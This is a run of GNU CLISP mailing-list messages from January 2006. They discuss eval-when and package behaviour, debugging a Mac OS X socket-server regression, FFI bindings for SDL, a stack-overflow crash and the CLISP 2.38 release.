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> * Jeffrey Graham <wtenunz@fx-grpu.pbz> [2006-01-09 12:40:53 -0600]:
>
> How can I get CORBA to work with GNU clisp?

http://www.google.com/search?q=corba+clisp

_first_ hit should tell you plenty.

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Date: Mon Jan 16 17:32:04 2006
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Hello! I'd be happy to learn that the following is due to
misunderstanding on my part, but nonetheless I need
to ask.

Why does this test case saved in a file

(defpackage #:foo
  (:use #:common-lisp)
  (:export #:testit))

(in-package :foo)

(defmacro testit (name)
  `(eval-when (:compile-toplevel :load-toplevel :execute)
     (print ',name)))

(in-package :cl-user)
(use-package :foo)
(testit XYZ)

generate this output when COMPILE-FILE'd

[1]> (compile-file "c:/test.lisp")

;; Compiling file C:\test.lisp ...
WARNING in 17 17 (TESTIT XYZ)-6 in line 14 :
XYZ is neither declared nor bound,
it will be treated as if it were declared SPECIAL.
;; Wrote file C:\test.fas
The following functions were used but not defined:
 TESTIT
The following special variables were not defined:
 XYZ
0 errors, 1 warning
#P"C:\\test.fas" ;
1 ;
1

while this variation:

(defpackage #:foo
  (:use #:common-lisp)
  (:export #:testit))

(in-package :foo)

(defmacro testit (name)
  `(eval-when (:compile-toplevel :load-toplevel :execute)
     (print ',name)))

(in-package :cl-user)
(foo:testit XYZ)

does not?

[1]> (compile-file "c:/test.lisp")

;; Compiling file C:\test.lisp ...
XYZ
;; Wrote file C:\test.fas
0 errors, 0 warnings
#P"C:\\test.fas" ;
NIL ;
NIL


The above examples were run in separate clisp sessions where
test.fas amd test.lib were deleted prior to each experiment.

Am I incorrect in expecting that the latter is the correct
behavior for both variations of code?

The version of clisp I'm running is:

% clisp --version
GNU CLISP 2.37 (2006-01-02) (built on stnt067 [192.168.0.1])
Software: GNU C 3.4.2 (mingw-special)
....

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Date: Mon Jan 16 17:38:03 2006
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I wrote:
>
> ;; Compiling file C:\test.lisp ...
> WARNING in 17 17 (TESTIT XYZ)-6 in line 14 :

Small mistake in my transcription of the diagnostics.
That should be

WARNING in 14 14 (TESTIT XYZ)-6 in line 14 :


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Date: Mon Jan 16 18:21:04 2006
X-Original-Date: Mon, 16 Jan 2006 21:20:27 -0500

Hi Jack,

I think that section "3.2.3.1 Processing of Top Level Forms" of the =20
hyperspec will make this clearer. My understanding is that the use-=20
package form is not being evaluated at compile time which means that =20
the testit symbol isn't found. If i wrap an eval-when around the use-=20
package, I get happiness and joy.

> (defpackage #:baz
>   (:use #:common-lisp)
>   (:export #:testit))
>
> (in-package :baz)
>
> (defmacro testit (name)
>   `(eval-when (:compile-toplevel :load-toplevel :execute)
>      (print ',name)))
>
> (in-package :cl-user)
> (eval-when (:compile-toplevel :load-toplevel :execute)
>    (use-package :baz))
> (testit XYZ)


On Jan 16, 2006, at 8:31 PM, Jack Unrue wrote:

> Hello! I'd be happy to learn that the following is due to
> misunderstanding on my part, but nonetheless I need
> to ask.
>
> Why does this test case saved in a file
>
> (defpackage #:foo
>   (:use #:common-lisp)
>   (:export #:testit))
>
> (in-package :foo)
>
> (defmacro testit (name)
>   `(eval-when (:compile-toplevel :load-toplevel :execute)
>      (print ',name)))
>
> (in-package :cl-user)
> (use-package :foo)
> (testit XYZ)
>
> generate this output when COMPILE-FILE'd
>
> [1]> (compile-file "c:/test.lisp")
>
> ;; Compiling file C:\test.lisp ...
> WARNING in 17 17 (TESTIT XYZ)-6 in line 14 :
> XYZ is neither declared nor bound,
> it will be treated as if it were declared SPECIAL.
> ;; Wrote file C:\test.fas
> The following functions were used but not defined:
>  TESTIT
> The following special variables were not defined:
>  XYZ
> 0 errors, 1 warning
> #P"C:\\test.fas" ;
> 1 ;
> 1
>
> while this variation:
>
> (defpackage #:foo
>   (:use #:common-lisp)
>   (:export #:testit))
>
> (in-package :foo)
>
> (defmacro testit (name)
>   `(eval-when (:compile-toplevel :load-toplevel :execute)
>      (print ',name)))
>
> (in-package :cl-user)
> (foo:testit XYZ)
>
> does not?
>
> [1]> (compile-file "c:/test.lisp")
>
> ;; Compiling file C:\test.lisp ...
> XYZ
> ;; Wrote file C:\test.fas
> 0 errors, 0 warnings
> #P"C:\\test.fas" ;
> NIL ;
> NIL
>
>
> The above examples were run in separate clisp sessions where
> test.fas amd test.lib were deleted prior to each experiment.
>
> Am I incorrect in expecting that the latter is the correct
> behavior for both variations of code?
>
> The version of clisp I'm running is:
>
> % clisp --version
> GNU CLISP 2.37 (2006-01-02) (built on stnt067 [192.168.0.1])
> Software: GNU C 3.4.2 (mingw-special)
> ....
>
> --
> Jack
>
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On 1/16/06, Gary King <gwking@metabang.com> wrote:
> Hi Jack,
>
> I think that section "3.2.3.1 Processing of Top Level Forms" of the
> hyperspec will make this clearer. My understanding is that the use-
> package form is not being evaluated at compile time which means that
> the testit symbol isn't found. If i wrap an eval-when around the use-
> package, I get happiness and joy.
>
> [snip]

Thanks, Gary.

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Date: Tue Jan 17 01:44:00 2006
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Sam Steingold wrote:

> see also http://sourceforge.net/tracker/index.php?func=detail&aid=1399376&group_id=1355&atid=101355
> 
> please also try the appended patch.
> thanks.
> 

I tried the patch with a recent cvs checkout and it worked.

//Lennart Staflin


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clisp 2.37 has a bug on open :if-exists :append, so I want to release
2.38 ASAP.
the only blocker is the mac os x socket bug.
it has been reported that this bug was not present in 2.36, so the brute
force "fill everything with 0" patch will NOT go in.
since the mac os x SF CF hosts are dead, I cannot debug this.
it is up to you, the mac os x users, to close this issue.
what you have to do is:

1. make sure that it was the Dec 19
   "(SOCKET-SERVER): accept keywords :INTERFACE :BACKLOG"
   patch that broke mac os x

2. find out why it fails (using, e.g., strace).  specifically,
   (socket-server) and (socket-server 3456) - do they work or fail on
   2.37 and 2.36?  what are the traces (around the failed calls and the
   corresponding sucessful calls)

it is up to you to ensure that sockets work on your system in clisp 2.38.

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>clisp 2.37 has a bug on open :if-exists :append, so I want to release
>2.38 ASAP.

Cool!

>the only blocker is the mac os x socket bug.
>it has been reported that this bug was not present in 2.36, so the brute
>force "fill everything with 0" patch will NOT go in.

Sam,

I must strenuously object to this line of thinking. You cannot prove the bug did not exist because you cannot prove that the structure didn't just happen to have 0s in the right places by accident.

If you really want to prove that the 2.36 version was OK, you would have to assert that the structure's memory (not just the defined fields since padding is inaccessible from defined field access) was filled with something other than zeroes. Was it it 0xFF filled first?

I strongly urge you to put the fill everything with 0 patch IN. We know it works, and anyone who has done software for as long as I (and you, all of us: we) have should know that uninitialized variable bugs can hide for a long, long time. That this wasn't caught until now doesn't make Mac OS X any less buggy before, nor does it indicate that anything more ominous happened than random stack garbage change the uninitialized values of the structure.

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well, i am using clisp2.35.1 for cygwin now and the error doesnt
appear. the file where the error appeared is generated using

clisp -c kivcparser.lisp

convert_to_foreign_nomalloc doesnt exist in clisp/src/foreign.d in
version 2.36 but but in 2.35.1 it still does. maybe you can fix it
into 2.36 for compatibilty reasons.

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Date: Tue Jan 17 07:00:32 2006
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Doug,

> * Doug Philips <qtbh@znp.pbz> [2006-01-17 09:38:07 -0500]:
>
> I must strenuously object to this line of thinking. You cannot prove
> the bug did not exist because you cannot prove that the structure
> didn't just happen to have 0s in the right places by accident.
>
> If you really want to prove that the 2.36 version was OK, you would
> have to assert that the structure's memory (not just the defined
> fields since padding is inaccessible from defined field access) was
> filled with something other than zeroes. Was it it 0xFF filled first?
>
> I strongly urge you to put the fill everything with 0 patch IN. We
> know it works, and anyone who has done software for as long as I (and
> you, all of us: we) have should know that uninitialized variable bugs
> can hide for a long, long time. That this wasn't caught until now
> doesn't make Mac OS X any less buggy before, nor does it indicate that
> anything more ominous happened than random stack garbage change the
> uninitialized values of the structure.

sounds very convincing - if we assume that you are right and, indeed,
the problem is uninitialized slots.
the fact that the FILL0 patch fixes the bug does not prove it -
just like the fact that 2.36 worked does not disprove it either
(as you yourself pointed out).

Now, to actually prove that FILL0 is TRT, you need, e.g., to apply it to
2.36 with 0 replaced with 0xFF and see if it breaks 2.36.
You need to trace a "working" clisp against a "broken" one.

BTW, what's the word from Apple - did you report the bug to them?
Is it a documented behavior?
What is the reference?

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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2006-01-17 15:57:23 +0100]:
>
> convert_to_foreign_nomalloc doesnt exist in clisp/src/foreign.d in
> version 2.36 but but in 2.35.1 it still does. maybe you can fix it
> into 2.36 for compatibilty reasons.

no. convert_to_foreign() (and convert_to_foreign_nomalloc()) are CLISP
internals, you cannot rely on them being present.
if you want to use them, no one can stop you, but you will have to
update your code when the CLISP internals change.
look at the cvs diff that removed convert_to_foreign_nomalloc and see
what it is replaced with and fix your code appropriately.

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okay, you are right.

thank you
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Sam,

>Now, to actually prove that FILL0 is TRT, you need, e.g., to apply it to
>2.36 with 0 replaced with 0xFF and see if it breaks 2.36.
>You need to trace a "working" clisp against a "broken" one.

Assuming everything goes as planned, I should be able to grab a 2.36 tree tonight.
We have four scenarios to test: 2.36 fill 0, 2.36 fill 0xFF, 2.37 fill 0, 2.37 fill 0xFF.
(I will get to this as soon as I can, but if someone else can beat me to it, all the better!)

>BTW, what's the word from Apple - did you report the bug to them?
>Is it a documented behavior?
>What is the reference?

No, I think someone else was going to report it to Apple, but I don't have access to my email archives from work to double check who it was. (I'm terrible with names, sorry). I was pretty sure you and this other person had exchanged emails re: The first/third editions of Stevens saying that this 0fill was needed, etc.

     --Doug



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> * Doug Philips <qtbh@znp.pbz> [2006-01-17 10:05:25 -0500]:
>
>>Now, to actually prove that FILL0 is TRT, you need, e.g., to apply it to
>>2.36 with 0 replaced with 0xFF and see if it breaks 2.36.
>>You need to trace a "working" clisp against a "broken" one.
>
> Assuming everything goes as planned, I should be able to grab a 2.36
> tree tonight.  We have four scenarios to test: 2.36 fill 0, 2.36 fill
> 0xFF, 2.37 fill 0, 2.37 fill 0xFF.

Thanks.

>>BTW, what's the word from Apple - did you report the bug to them?
>>Is it a documented behavior?
>>What is the reference?

see http://www.macdevcenter.com/pub/a/mac/2002/12/26/cocoa.html?page=3

> No, I think someone else was going to report it to Apple, but I don't
> have access to my email archives from work to double check who it
> was. (I'm terrible with names, sorry). I was pretty sure you and this
> other person had exchanged emails re: The first/third editions of
> Stevens saying that this 0fill was needed, etc.

Gregory Wright?
Lennart Staflin?
Dan Starr?

all the erg files I have seen so far point to the 2005-12-19
socket-server patch.

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> * Bilbo <ovyob@uboovg-ubyr.bet> [2006-01-16 08:24:43 -0800]:
>
> I was wondering if there is an easy way to turn off the "Replacing
> method" warnings when recompiling a file?

I don't think I can give you an outright answer, but here are some
general hints:

1. start with the CLISP FAQ list http://clisp.cons.org/impnotes/faq.html

2. take a look at http://clisp.cons.org/impnotes/clisp.html#bugs

and a specific hint:

   if you do not like a warning, try
     (setq *break-on-signals* 'warning)
   and look at the backtrace when you are thrown into the debugger.

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Jeremy smith wrote in comp.lang.lisp
>I'm trying to write an SDL (the graphics/sound gaming library) 
>application in Clisp, and I've managed to convert the header files okay, 
>with a bit of selective cutting and pasting and the use of ah2cl.lisp 
>(which seems to work!).

>(ffi:def-c-type SDL_Event (ffi:c-union (type Uint8) ...)
>(ffi:def-call-out SDL_WaitEvent
>  (:arguments (event (ffi:c-ptr SDL_Event))

This is not a correct definition. WaitEvent wants to fill the struct that it receives, whether the above implicitly uses :stack-allocation and throws away the result.
You need either (event (ffi:c-ptr event) :out)
or (event (ffi:c-pointer event)), or just
   (event ffi:c-pointer).
The latter two work with foreign pointers and objects, while the former one uses a defstruct/defclass Lisp object to mirror the data.
But the former cannot be sensibly used with unions. Read ahead.


>    	(print (test:SDL_WaitEvent (test::make-sdl_event)))
>*** - #S(TEST:SDL_EVENT :C-UNION NIL) cannot be converted to the foreign 
type FFI:UCHAR

When using unions, the FFI will default to the first element.  There's no means to tell the FFI which element of the union you are passing as a parameter, or receiving.

When accessing unions for either read or write, there's no problem, since ffi:SLOT is used to select an element. But how could one combine SLOT with a function call?

Therefore, I suggest to use an opaque c-pointer as argument to SDL-WaitEvent.
Foreign objects of other types (e.g. the SDLEvent union type, or its individual constituents) will be happily accepted for a C-POINTER parameter.

Once you have extracted the type, you could create CLOS objects for the subtypes and continue to work from them.  Or you continue to work with references to foreign memory, still using the FFI.


>The reason I want to use SDL with Clisp is that although I could use SDL 
>with  Corman Common Lisp, there are other libraries related to SDL I need 
>to use, and Corman does not support these, and does not recognise FFI 
>files. I also prefer not to use a different Windows distribution of 
>Common Lisp per week, per application (for instance, the only way I could 
>find to get Aserve to run was on Lispworks). ;-)

BTW, isn't there cl-sdl or some such package already?
Wouldn't that work for you?  I think I had that running some time ago with cmucl and clisp.

Hope this helps,
	Jorg Hohle.


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*************************************
* European Common Lisp Meeting 2006 *
*         Hamburg, Germany          *
*             April 30              *
*************************************

Edi Weitz and Arthur Lemmens are proud to announce the European Common
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The following talks will be given on Sunday, April 30:

* Jans Aasman
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    AllegroGraph: a large scale graph database applied to the Semantic Web
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* James Anderson
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    Lisp tools for time series computations

* Marco Antoniotti
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    GOALIE

* Martin Cracauer
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    Common Lisp in a high-performance search environment

* Klaus Harbo
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    cl-muproc: Erlang-inspired multiprocessing in Common Lisp

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    Rucksack: a flexible, lightweight, open source persistence library

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On 2006 Jan 17, at 10:55 AM, Sam Steingold wrote:
>> * Doug Philips <qtbh@znp.pbz> [2006-01-17 10:05:25 -0500]:
>> Assuming everything goes as planned, I should be able to grab a 2.36
>> tree tonight.  We have four scenarios to test: 2.36 fill 0, 2.36 fill
>> 0xFF, 2.37 fill 0, 2.37 fill 0xFF.
>
> Thanks.

Results so far:
	"out of the box" 2.36 passes its socket tests.
	Adding FILL0 (and calls to it) in 2.36 makes for no change, the  
tests all pass either way.
	Changing FILL0 to fill with 0xFF causes no change in the 2.36 socket  
tests.
	Changing FILL0 to fill with 0xFF causes 30 errors in the 2.37 test.
	Running the 2.37 socket test under 2.36 (0 and FF) causes a  
segmentation fault:
(PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT  
9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT  
*SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*))
EQL-OK: #\a
(LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL  
*SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*))  
(MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE- 
VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T))
make: *** [socket2.erg] Segmentation fault
make: *** Deleting file `socket2.erg'


When I get over my head cold, I'll investigate further. diff on the  
2.36 and 2.37 socket test was annoyingly filled with uninteresting  
changes, but I haven't looked more deeply.

		--Doug



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> * Douglas Philips <qtbh@znp.pbz> [2006-01-18 01:24:33 -0500]:
>
> On 2006 Jan 17, at 10:55 AM, Sam Steingold wrote:
>>> * Doug Philips <qtbh@znp.pbz> [2006-01-17 10:05:25 -0500]:
>>> Assuming everything goes as planned, I should be able to grab a 2.36
>>> tree tonight.  We have four scenarios to test: 2.36 fill 0, 2.36 fill
>>> 0xFF, 2.37 fill 0, 2.37 fill 0xFF.
>>
>> Thanks.
>
> Results so far:
> 	"out of the box" 2.36 passes its socket tests.
> 	Adding FILL0 (and calls to it) in 2.36 makes for no change, the
> 	tests all pass either way.
> 	Changing FILL0 to fill with 0xFF causes no change in the 2.36
> 	socket  tests.

So it looks like that problem is not that FILL0 is required on
mac os x, but that something is wrong in CLISP.
right?

now you need to run CLISP 2.36 and 2.37 under gdb and find the bind call
that fails on 2.37 but succeeds on 2.36 and compare the arguments.

just type (socket-server 3456) in 2.36 and 2.37 and see what happens.

> 	Changing FILL0 to fill with 0xFF causes 30 errors in the 2.37 test.

as I said, the bug was introduced on 2005-12-19, it would make more
sense to compare the pre-2005-12-19 snapshot with a post-2005-12-19 one
rather than 2.36 with 2.37

> 	Running the 2.37 socket test under 2.36 (0 and FF) causes a
> 	segmentation fault:
> (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT
> 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT
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> (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE- 
> VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T))
> make: *** [socket2.erg] Segmentation fault
> make: *** Deleting file `socket2.erg'

this bug was fixed on 2005-12-15



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> * Sam Steingold <fqf@tah.bet> [2006-01-18 09:24:39 -0500]:
>
> now you need to run CLISP 2.36 and 2.37 under gdb and find the bind call
> that fails on 2.37 but succeeds on 2.36 and compare the arguments.

to put it simply: on SF CF openpower-linux1 (ppc64):
$ strace ./clisp -norc -q -x '(socket-server-close (socket-server))' 2>&1 1>/dev/null  | tail -20


socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 6
setsockopt(6, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
bind(6, {sa_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
listen(6, 1)                            = 0
getsockname(6, {sa_family=AF_INET, sin_port=htons(39632), sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
close(6)                                = 0



just do this same thing with 2.37 and 2.36 on macosx with and without
FILL0 and FILLxFF.

I cannot believe this is taking so long.

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>I cannot believe this is taking so long.

Hey, I'm going as fast as I can, between a job, life, being sick, give me a frickin' break.
Might as well rant that the SF compute farm Mac OS X stuff being still down is taking so long.
If you're beside yourself to get 2.38 out, put the fricking IFDEF in for DARWIN and get it over it, it'll only affect Mac OS X users (who are too slow anyways).

      --Doug



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Date: Wed Jan 18 10:47:06 2006
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Jeremy Smith wrote:
>Thanks for your tip, it was very helpful.=20
>Please reply to jeremy@decompiler.org if possible

>I've made some progress with SDL in Clisp.
Great news!

>(defmacro getbyte(where offset)
> `(ffi:memory-as ,where (ffi:parse-c-type 'ffi:uint8),offset))
Good
>(defmacro getuint16(where offset)
> `(+ (getbyte ,where (+ ,offset 0)) (*(getbyte ,where (+ ,offset =
1))256)))
Ouch. Please adapt getuint16 using ffi:uint16 instead. This will also =
avoid the above code depending on little-endianness.
It will also avoid double evaluation of where and offset in getuint16, =
since you choose to write that as a macro.
Hint: stick to functions, get code to work, then investigate macros for =
optimization purposes (hint2: compiler macros are better for this =
particular purpose).


>By the way, you asked why I didn't use CL-SDL. I tried to, but it
>required UFFI, which I couldn't get working with Clisp.=20
I wrote an UFFI emulation layer for CLISP some time ago.
http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1028683&gro=
up_id=3D1355&atid=3D301355
Your writing raised my attention to the fact that I had not updated the =
uffi.lisp file found there to reflect my current version. So I updated =
it yesterday.
I believe the uffi.lisp online there now is the one with which I =
managed to compile sl-sdl with CLISP, but I didn't check that =
yesterday.  I had a HD crash short after I did that cl-sdl adaptation =
half a year ago, so possibly my latest changes got lost.

However, I remember that there was a need for a few patches to cl-sdl =
in areas where it wrongly uses or misses quoting UFFI type names.  The =
HD crash lost my diffs, but they aren't that hard to reproduce: my code =
will raise errors.


I think that Lispers should try to get existing packages to work =
instead of reinventing them, so I encourage you to use cl-sdl (or one =
of the other SDL bindings).  However, the learning experience is =
probably larger with the do-it-yourself approach. :-)

I'm very pleased to observe current activities in the quality assurance =
(QA) area, where Lispers test & fix & report experience about the many =
Lisp packages that lay around here and there.


>(setf event (ffi:allocate-shallow 'ffi:Uint8 :count 1024))
>(print (test:SDL_WaitEvent event))
I know that this is the advice you got in comp.lang.lisp for Corman. I =
think you can do nicer than that with CLISP (and probably Corman as =
well).
(def-call-out sdl-wait (:arguments c-pointer))
(with-c-var (event '(c-union (sdl...))) ; the SDL-event union
  (let ((got-some (sdl-wait (c-var-address event))))
    (when got-some
      (case (slot event 'type)
        (#.sdl-keypress-number
Do you get the idea?

You could even optimize like this:
        (#.sdl-keypress-number
          (with-c-place (keypress-event
                         (c-var-object (slot event 'keypress)))
            (print (slot keypress-event 'code))
instead of
          (print (slot (slot event 'keypress) 'code))
If you have only one such print, it does't matter, but if you access =
several slots of one event type, this constant folding operation of =
(slot event 'X) may make sense.

>The only entry that I can view via slot-value is strangely enough, =
'format':
>(slot-value screen 'clip_rect)
>*** - SLOT-VALUE: The class #<STRUCTURE-CLASS TEST:SDL_SURFACE> has no =
slot named CLIP_RECT
Please send more code so I can try to reproduce this, instead of just =
guessing (yet if I guess right, I prefer you investigate this instead =
of me :)

o Perhaps you should stick to interpreted code for now, containing the =
FFI definitions.
o perhaps there's a package issue? (FORMAT is likely taken from the =
"COMMON-LISP" package all others share, clip_rect or pixels are not).

Hope this helps,
	J=F6rg H=F6hle.


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Jeremy Smith wrote:
>I downloaded your uffi.lisp file, but I don't know what to do with it!

First you must download and load cvs-ffi-patches.lisp from the same =
location, then you load uffi.lisp.
http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D1028683&gro=
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Actually, with ASDF, you first need to write a tiny uffi.asd file which =
contains a
(asdf:defsystem :uffi ...) which causes these two files to be loaded =
and compiled.  See other .asd files for the syntax.

Actually, here's mine:
(in-package #:asdf)
(defsystem :uffi
  :name "uffi"
  ;;:pathname "";;#+win32"..\\" #-win32 "../"
  :depends-on ()
  :components
  ((:file "uffi")))
Note that I always load cvs-ffi-patches by hand before doing so!
(I don't want ASDF to compile that, but I should rather add some =
(eval-when (not compile)) aroud the def-call-out therein).

You MUST load cvs-ffi-patches.lisp before loading my uffi.lisp
Unless you know how to correct the package/symbol errors which happen =
if you load in the wrong order.

Happy experimenting!

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Hi

I am a newbie just experimenting with clisp.
Here is my function (maybe not correct):

(defun filter-in (pred lst)
  (cons (if 
	 (and 
	  (not (null lst))
	  (funcall pred (car lst)))
	 (car lst)
	 nil)
	(filter-in pred (cdr lst))))

and I have a clisp.exe crash when I call:
(filter-in #'evenp '(1 2 3 4 5))

Even if I wrote something crazy it shouldn't have
crashed, right?
Thank you,
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Infinite recursion will cause a stack overflow and a crash.  At some
point your function needs to stop calling itself.=20

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> Here is my function (maybe not correct):
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> and I have a clisp.exe crash when I call:
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Date: Fri Jan 20 14:05:01 2006
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Stack overflow should not crash.
You should see something like

[2]> (filter-in #'evenp '(1 2 3 4 5))

*** - Lisp stack overflow. RESET
[3]>


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Subject: RE: [clisp-list] clisp 2.35 crash on windows (under slime)
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That's right, I see my error in the code (why it's
endless).
It's just the excersises I am going through. I know
the remove-if-not the the function that's already
defined.
I was just taken aback by the crash.
So the consensus is that it should crash on stack
overflow or not?
I thought the biggest sell advantage of Lisp is that
you can fix your bugs even on running code, that means
that the environment at least shouldn't lock out on
you. Please, correct me if I am wrong.

Andrew

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> 
> Infinite recursion will cause a stack overflow and a
> crash.  At some
> point your function needs to stop calling itself. 
> 
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> > Subject: [clisp-list] clisp 2.35 crash on windows
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> > 
> > Hi
> > 
> > I am a newbie just experimenting with clisp.
> > Here is my function (maybe not correct):
> > 
> > (defun filter-in (pred lst)
> >   (cons (if 
> > 	 (and 
> > 	  (not (null lst))
> > 	  (funcall pred (car lst)))
> > 	 (car lst)
> > 	 nil)
> > 	(filter-in pred (cdr lst))))
> > 
> > and I have a clisp.exe crash when I call:
> > (filter-in #'evenp '(1 2 3 4 5))
> > 
> > Even if I wrote something crazy it shouldn't have
> crashed, right?
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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2006-01-20 15:17:24 -0800]:
>
> I thought the biggest sell advantage of Lisp is that you can fix your
> bugs even on running code, that means that the environment at least
> shouldn't lock out on you. Please, correct me if I am wrong.

Yes, the slogan is "segfault ==> bug in the lisp implementation".
With some caveats, which are different for different implementations,
except that FFI can bring any implementation down.

For CLISP, the caveat is that one should not modify the internal
structure of objects (using things like SYS::%RECORD-STORE).

For CMUCL at el, the caveat is that one should not use incorrect
declarations.

Indeed, your crash exposes a bug in CLISP.
Would you like to try to fix it?


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> ANSI Common Lisp is a high-level, general-purpose programming language.
> GNU CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe
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> It mostly supports the Lisp described in the ANSI Common Lisp standard.
> It runs on most GNU and Unix systems (GNU/Linux, FreeBSD, NetBSD, OpenBSD,
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> It is Free Software and may be distributed under the terms of GNU GPL,
> while it is possible to distribute commercial proprietary applications
> compiled with GNU CLISP.
> The user interface comes in English, German, French, Spanish, Dutch,
> Russian and Danish, and can be changed at run time.
> GNU CLISP includes an interpreter, a compiler, a debugger, CLOS, MOP,
> a foreign language interface, sockets, i18n, fast bignums and more.
> An X11 interface is available through CLX, Garnet, CLUE/CLIO.
> GNU CLISP runs Maxima, ACL2 and many other Common Lisp packages.
> 
> More information at
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>   <http://www.gnu.org/software/clisp/> and
>   <http://clisp.sourceforge.net/>.
> Sources and selected binaries are available by anonymous ftp from
>   <ftp://ftp.gnu.org/pub/gnu/clisp/>
> and its mirrors.
> 
> 2.38 (2006-01-24)
> =================
> 
> User visible changes
> --------------------
> 
> * SAVEINITMEM can create standalone executables.
>   Thanks to Frank Buß <fb@frank-buss.de> for the idea.
>   SAVEINITMEM also accepts :NORC argument do disable RC-file loading.
>   See <http://clisp.cons.org/impnotes/image.html> for details.
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> * POSIX:SYSLOG no longer recognizes "%m" and other formatting instructions.
>   For your safety and security, please do all formatting in Lisp.
> 
> * Fixed the OPEN :IF-EXISTS :APPEND bug introduced in 2.37.
> 
> * Fixed a crash on woe32 in opening files with names longer than MAX_PATH.
> 
> * Module berkeley-db now supports Berkeley DB 4.4.
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Hi,

Jeremy Smith wrote:
>It wasn't a slot object
>- it was a structure!
Using C-PTR etc. will convert a foreign struct into a Lisp object, and not reference foreign memory anymore afterwards.  If you don't like that or prefer a style closer to C, use (c-pointer surface) instead and work with pointers, dereference them etc. as needed.
Both usages have pros and cons.  You choose.
For the SDL event type, I'd think the conversion to Lisp looks nicer.  OTOH, you may not want to convert...


FWIW, I've updated my UFFI wrappers (added 3 comments)
http://sourceforge.net/tracker/index.php?func=detail&aid=1028683&group_id=1355&atid=301355

and added 2 patches to the CL-SDL sourceforge patches section. http://sourceforge.net/tracker/?group_id=44704&atid=440619
It shows how I managed to get cl-sdl running with CLISP.

I'd like to hear if it also works on Win32 (either cygwin or native).

W.r.t. the state of UFFI+CLISP, there are still some design issues were UFFI is ill-defined w.r.t. nested structures. As a result, UFFI still does not natively support CLISP. My patches are just good enough to use a few libraries, which all exhibit a very regular behaviour, but they don't pass the whole UFFI testsuite.

Enjoy,
	Jorg Hohle.


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Hello,

thanks for clisp 2.38!
I wanted to ask, have you considered tweaking the
build system to make it possible to use the pattern
 
./configure [options]
make
make install [DESTDIR=/my/destdir]
 
?
 
My question is interested because I am building a
tool on top of that assumption. It's GNU Source
Installer,
and is becoming quite nice.

https://savannah.gnu.org/projects/sourceinstall

an alpha release of the new architecture
(sourceinstall 2), is available on
ftp://ftp.gnu.org/gnu/sourceinstall
 
I can help make a patch if you are interested.

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> * Claudio Fontana <fvpx_fbhy@lnubb.vg> [2006-01-24 11:16:03 -0800]:
>
> ./configure [options]
> make
> make install [DESTDIR=/my/destdir]

you can do
DESTDIR=/my/destdir ./configure --install

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--- Sam Steingold <sds@gnu.org> ha scritto: 

> > * Claudio Fontana <fvpx_fbhy@lnubb.vg> [2006-01-24
> 11:16:03 -0800]:
> >
> > ./configure [options]
> > make
> > make install [DESTDIR=/my/destdir]
> 
> you can do
> DESTDIR=/my/destdir ./configure --install

Yes I can do it. 
However, a program can not standardize on it.

I am building a program that tries to standardize on
GNU build tools (autotools-generated scripts and
Makefiles), secondarily supporting scripts that at
least follow the ./configure, make, make install
pattern.

This avoids writing n rules for n packages to install.

In your case, it seems that some functionality of
configure (makemake generation and launch) could be
automated, in order to produce a Makefile as a result
of configure invocation.

Also, the generated Makefile could be tweaked to
support the install target.

Tell me if you're interested, so I can start working
on a minimal patch.
If you're not, well there's nothing I can really do in
this case :)

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Hi,

How can I build the standalone executable with the new
release?
(I couldn't find it in impnotes).

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> * Andrew Stebakov <nfgronxbi@lnubb.pbz> [2006-01-24 14:12:17 -0800]:
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> How can I build the standalone executable with the new
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> (I couldn't find it in impnotes).

look for "executable" in
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Sam Steingold <sds@gnu.org> writes:

> look for "executable" in
> http://www.gnu.org/software/clisp/impnotes/image.html

BTW Is there a way to disable normal command-line processing (so that all
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> * Roman Belenov <eoryrabi@lnaqrk.eh> [2006-01-25 17:03:57 +0300]:
>
> Sam Steingold <sds@gnu.org> writes:
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>> look for "executable" in
>> http://www.gnu.org/software/clisp/impnotes/image.html
>
> BTW Is there a way to disable normal command-line processing (so that
> all arguments are just stored in EXT:*ARGS*) ? Haven't seen it in
> documentation, though it makes sense for standalone executables.

look for "init-function" in
http://clisp.cons.org/impnotes/image.html

really people, this is just _one_ small page - why not read it all?

CLISP documentation is searchable using google,
see http://clisp.cons.org
trust me, it has _everything_, just _read_ it.

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> * Marko Koci=C4=87 <znexb.xbpvp@tznvy.pbz> [2006-01-25 10:37:05 +0100]:
>
> C:\lisp\app\clisp-2.38>clisp --version
> GNU CLISP 2.37 (2006-01-02)

I uploaded a replacement package.
thanks.



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Sam Steingold <sds@gnu.org> writes:

>> BTW Is there a way to disable normal command-line processing (so that
>> all arguments are just stored in EXT:*ARGS*) ? Haven't seen it in
>> documentation, though it makes sense for standalone executables.
>
> look for "init-function" in
> http://clisp.cons.org/impnotes/image.html

The arguments are processed before init-function is called, so that doesn't
help. It would be possible to CUSTOM:*INIT-HOOKS* as a workaround if
ext:*args* were initialized before calling the hooks, but it is not the case.

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> * Roman Belenov <eoryrabi@lnaqrk.eh> [2006-01-25 18:45:12 +0300]:
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> Sam Steingold <sds@gnu.org> writes:
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>>> BTW Is there a way to disable normal command-line processing (so that
